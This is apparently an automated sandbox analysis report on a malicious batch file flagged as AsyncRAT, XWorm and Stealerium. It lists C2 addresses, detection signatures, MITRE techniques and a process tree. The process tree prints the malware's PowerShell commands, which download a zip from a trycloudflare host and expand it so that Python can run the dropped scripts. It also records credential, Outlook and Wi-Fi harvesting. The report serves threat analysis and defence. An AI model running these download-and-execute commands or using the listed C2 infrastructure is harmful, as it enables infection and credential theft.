asyncrat | f47e714600091cce296bf13f12356fbe444ca298cd4f55e980c9a8bad5a38213

Analysis

max time kernel
831s
max time network
840s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
26-07-2024 14:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

new.bat
Size

54KB
MD5

2f9e290249e705aa1ba5aacf057b22bb
SHA1

f60ff4ced8c331540a10285bb7ca74b91486a9f5
SHA256

56b8c6ac0a39cfe4cac12420f063371cf811116f70567641ff749d75fb9be912
SHA512

98b2abc5caffc080741051cd00220e1b6ffa920670be0994777626816708bc368b106787985408665e5dd3cf31a9f2219000a0d17ca4e5a6dc52b6861658322f
SSDEEP

768:06iORKR1BLWU1EWIOyNbZ9pSp2Mp7LC1QY3vMBnV9:eRiavmpSps1j3vMBnV9

Score

10^/10

asyncrat stealerium xworm default collection credential_access discovery execution persistence privilege_escalation rat stealer trojan

Malware Config

Extracted

Family

xworm

Version

5.0

157.20.182.172:7000

157.20.182.172:8000

Mutex

iHRgIbaS0FTMce5d

Attributes

install_file
USB.exe

aes.plain

Extracted

Family

asyncrat

Botnet

Default

157.20.182.172:3232

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

Mutex

nlthbmfyadihv

Attributes

delay
1
install
false
install_folder
%AppData%
pastebin_config
https://pastebin.com/raw/zNe6NH5y

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/memory/2564-22676-0x000001260B550000-0x000001260B560000-memory.dmp	family_xworm
behavioral2/memory/3944-22686-0x000001C1F0D70000-0x000001C1F0D80000-memory.dmp	family_xworm

Stealerium
An open source info stealer written in C# first seen in May 2022.
stealer stealerium

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 3656 created 3480	3656	python.exe	55
PID 6004 created 3480	6004	python.exe	55
PID 4456 created 3480	4456	python.exe	55
PID 1408 created 3480	1408	python.exe	55
PID 1236 created 3480	1236	python.exe	55

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Async RAT payload 2 IoCs

rat

resource	yara_rule
behavioral2/memory/2552-22683-0x000001EAC1FA0000-0x000001EAC1FB6000-memory.dmp	family_asyncrat
behavioral2/memory/6072-22690-0x000002010E8A0000-0x000002010E8B8000-memory.dmp	family_asyncrat

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Blocklisted process makes network request 4 IoCs

flow	pid	Process
16	4520	powershell.exe
80	1220	powershell.exe
99	1412	powershell.exe
104	5716	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2320	powershell.exe
3968	powershell.exe
4520	powershell.exe
1220	powershell.exe
1412	powershell.exe
5716	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
3656	python.exe
6004	python.exe
4456	python.exe
1408	python.exe
1236	python.exe

Loads dropped DLL 30 IoCs

pid	Process
3656	python.exe
3656	python.exe
3656	python.exe
3656	python.exe
3656	python.exe
3656	python.exe
6004	python.exe
6004	python.exe
6004	python.exe
6004	python.exe
6004	python.exe
6004	python.exe
4456	python.exe
4456	python.exe
4456	python.exe
4456	python.exe
4456	python.exe
4456	python.exe
1408	python.exe
1408	python.exe
1408	python.exe
1408	python.exe
1408	python.exe
1408	python.exe
1236	python.exe
1236	python.exe
1236	python.exe
1236	python.exe
1236	python.exe
1236	python.exe

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	notepad.exe
Key opened	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	notepad.exe
Key opened	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	notepad.exe
Key opened	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	notepad.exe
Key opened	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	notepad.exe
Key opened	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	notepad.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
101	pastebin.com
102	pastebin.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
107	icanhazip.com
110	ip-api.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4456	netsh.exe
5852	cmd.exe
5992	netsh.exe
972	cmd.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	notepad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	notepad.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	notepad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	notepad.exe

Delays execution with timeout.exe 4 IoCs

evasion

pid	Process
4772	timeout.exe
2988	timeout.exe
1772	timeout.exe
3660	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2564	notepad.exe
3944	notepad.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4520	powershell.exe
4520	powershell.exe
3960	msedge.exe
3960	msedge.exe
1768	msedge.exe
1768	msedge.exe
1164	identity_helper.exe
1164	identity_helper.exe
1220	powershell.exe
1220	powershell.exe
1220	powershell.exe
5596	msedge.exe
5596	msedge.exe
5596	msedge.exe
5596	msedge.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe
2320	powershell.exe
2320	powershell.exe
3656	python.exe
6004	python.exe
4456	python.exe
1408	python.exe
1236	python.exe
1412	powershell.exe
1412	powershell.exe
1412	powershell.exe
3944	notepad.exe
3944	notepad.exe
6072	notepad.exe
6072	notepad.exe
6072	notepad.exe
6072	notepad.exe
5716	powershell.exe
5716	powershell.exe
5716	powershell.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
2552	notepad.exe
6072	notepad.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
3656	python.exe
6004	python.exe
4456	python.exe
1408	python.exe
1236	python.exe
1768	msedge.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeDebugPrivilege	1220	powershell.exe
Token: SeDebugPrivilege	3968	powershell.exe
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeDebugPrivilege	2564	notepad.exe
Token: SeDebugPrivilege	2552	notepad.exe
Token: SeDebugPrivilege	6072	notepad.exe
Token: SeDebugPrivilege	1412	powershell.exe
Token: SeDebugPrivilege	3944	notepad.exe
Token: SeDebugPrivilege	5716	powershell.exe

Suspicious use of FindShellTrayWindow 33 IoCs

pid	Process
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe
1768	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3944	notepad.exe
6072	notepad.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5068 wrote to memory of 2180	5068	cmd.exe	85
PID 5068 wrote to memory of 2180	5068	cmd.exe	85
PID 5068 wrote to memory of 2564	5068	cmd.exe	86
PID 5068 wrote to memory of 2564	5068	cmd.exe	86
PID 5068 wrote to memory of 4044	5068	cmd.exe	87
PID 5068 wrote to memory of 4044	5068	cmd.exe	87
PID 5068 wrote to memory of 3168	5068	cmd.exe	88
PID 5068 wrote to memory of 3168	5068	cmd.exe	88
PID 5068 wrote to memory of 4252	5068	cmd.exe	89
PID 5068 wrote to memory of 4252	5068	cmd.exe	89
PID 5068 wrote to memory of 4500	5068	cmd.exe	90
PID 5068 wrote to memory of 4500	5068	cmd.exe	90
PID 5068 wrote to memory of 3416	5068	cmd.exe	91
PID 5068 wrote to memory of 3416	5068	cmd.exe	91
PID 5068 wrote to memory of 8	5068	cmd.exe	92
PID 5068 wrote to memory of 8	5068	cmd.exe	92
PID 5068 wrote to memory of 2592	5068	cmd.exe	93
PID 5068 wrote to memory of 2592	5068	cmd.exe	93
PID 5068 wrote to memory of 1768	5068	cmd.exe	94
PID 5068 wrote to memory of 1768	5068	cmd.exe	94
PID 5068 wrote to memory of 1772	5068	cmd.exe	96
PID 5068 wrote to memory of 1772	5068	cmd.exe	96
PID 1768 wrote to memory of 980	1768	msedge.exe	97
PID 1768 wrote to memory of 980	1768	msedge.exe	97
PID 5068 wrote to memory of 3660	5068	cmd.exe	98
PID 5068 wrote to memory of 3660	5068	cmd.exe	98
PID 5068 wrote to memory of 4520	5068	cmd.exe	99
PID 5068 wrote to memory of 4520	5068	cmd.exe	99
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100
PID 1768 wrote to memory of 4016	1768	msedge.exe	100

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3760	attrib.exe

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	notepad.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	notepad.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\new.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5068
- - C:\Windows\system32\chcp.com
    chcp.com 437
    3⤵
    PID:2180
- - C:\Windows\system32\find.exe
    find
    3⤵
    PID:2564
- - C:\Windows\system32\findstr.exe
    findstr /L /I set C:\Users\Admin\AppData\Local\Temp\new.bat
    3⤵
    PID:4044
- - C:\Windows\system32\findstr.exe
    findstr /L /I goto C:\Users\Admin\AppData\Local\Temp\new.bat
    3⤵
    PID:3168
- - C:\Windows\system32\findstr.exe
    findstr /L /I echo C:\Users\Admin\AppData\Local\Temp\new.bat
    3⤵
    PID:4252
- - C:\Windows\system32\findstr.exe
    findstr /L /I pause C:\Users\Admin\AppData\Local\Temp\new.bat
    3⤵
    PID:4500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c type tmp
    3⤵
    PID:3416
- - C:\Windows\system32\find.exe
    find
    3⤵
    PID:8
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c type tmp
    3⤵
    PID:2592
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://participation-green-address-ab.trycloudflare.com/policy.pdf
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:1768
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa89d446f8,0x7ffa89d44708,0x7ffa89d44718
      4⤵
      PID:980
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,6658433014507976844,16068681712939271670,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2152 /prefetch:2
      4⤵
      PID:4016
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,6658433014507976844,16068681712939271670,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3960
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,6658433014507976844,16068681712939271670,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2720 /prefetch:8
      4⤵
      PID:3552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6658433014507976844,16068681712939271670,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3308 /prefetch:1
      4⤵
      PID:1404
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6658433014507976844,16068681712939271670,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
      4⤵
      PID:4672
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6658433014507976844,16068681712939271670,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4648 /prefetch:1
      4⤵
      PID:4608
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --field-trial-handle=2140,6658433014507976844,16068681712939271670,131072 --lang=en-US --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=5088 /prefetch:6
      4⤵
      PID:4164
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2140,6658433014507976844,16068681712939271670,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5580 /prefetch:8
      4⤵
      PID:3628
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2140,6658433014507976844,16068681712939271670,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5580 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1164
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6658433014507976844,16068681712939271670,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5280 /prefetch:1
      4⤵
      PID:3264
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6658433014507976844,16068681712939271670,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5644 /prefetch:1
      4⤵
      PID:4560
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6658433014507976844,16068681712939271670,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5136 /prefetch:1
      4⤵
      PID:5276
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6658433014507976844,16068681712939271670,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5640 /prefetch:1
      4⤵
      PID:5284
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,6658433014507976844,16068681712939271670,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4808 /prefetch:2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5596
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,6658433014507976844,16068681712939271670,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1080 /prefetch:1
      4⤵
      PID:4408
- - C:\Windows\system32\timeout.exe
    timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
    3⤵
    - Delays execution with timeout.exe
    PID:1772
- - C:\Windows\system32\timeout.exe
    timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
    3⤵
    - Delays execution with timeout.exe
    PID:3660
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://participation-green-address-ab.trycloudflare.com/plat.zip' -OutFile 'C:\Users\Admin\Downloads\plat.zip' }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://participation-green-address-ab.trycloudflare.com/plat.zip' -OutFile 'C:\Users\Admin\Downloads\plat.zip' }"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { Expand-Archive -Path 'C:\Users\Admin\Downloads\plat.zip' -DestinationPath 'C:\Users\Admin\Downloads' -Force }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "& { Expand-Archive -Path 'C:\Users\Admin\Downloads\plat.zip' -DestinationPath 'C:\Users\Admin\Downloads' -Force }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2320
- - C:\Users\Admin\Downloads\Python\Python312\python.exe
    python.exe x.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:3656
- - C:\Users\Admin\Downloads\Python\Python312\python.exe
    python.exe eu.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    PID:6004
- - C:\Users\Admin\Downloads\Python\Python312\python.exe
    python.exe blo.py
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
